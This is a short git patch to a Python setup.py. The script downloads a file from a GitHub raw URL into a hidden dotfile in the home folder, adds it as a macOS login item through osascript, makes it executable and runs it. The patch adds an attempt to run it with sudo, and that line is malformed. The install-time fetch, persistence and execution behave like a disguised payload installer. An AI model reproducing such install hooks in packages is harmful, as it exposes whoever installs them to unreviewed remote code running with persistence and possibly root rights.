From dda797c8652ad8d09dbcd764052e244360c4bdd8 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 17:03:29 +0800 Subject: updated --- setup.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) (limited to 'setup.py') diff --git a/setup.py b/setup.py index e982ce6..202a3ff 100644 --- a/setup.py +++ b/setup.py @@ -13,4 +13,7 @@ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Re system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") system(f"chmod 555 {localfile}") -subproc([localfile]) +try: + subproc([f"sudo localfile"]) +except: + subproc([localfile]) -- cgit v1.2.3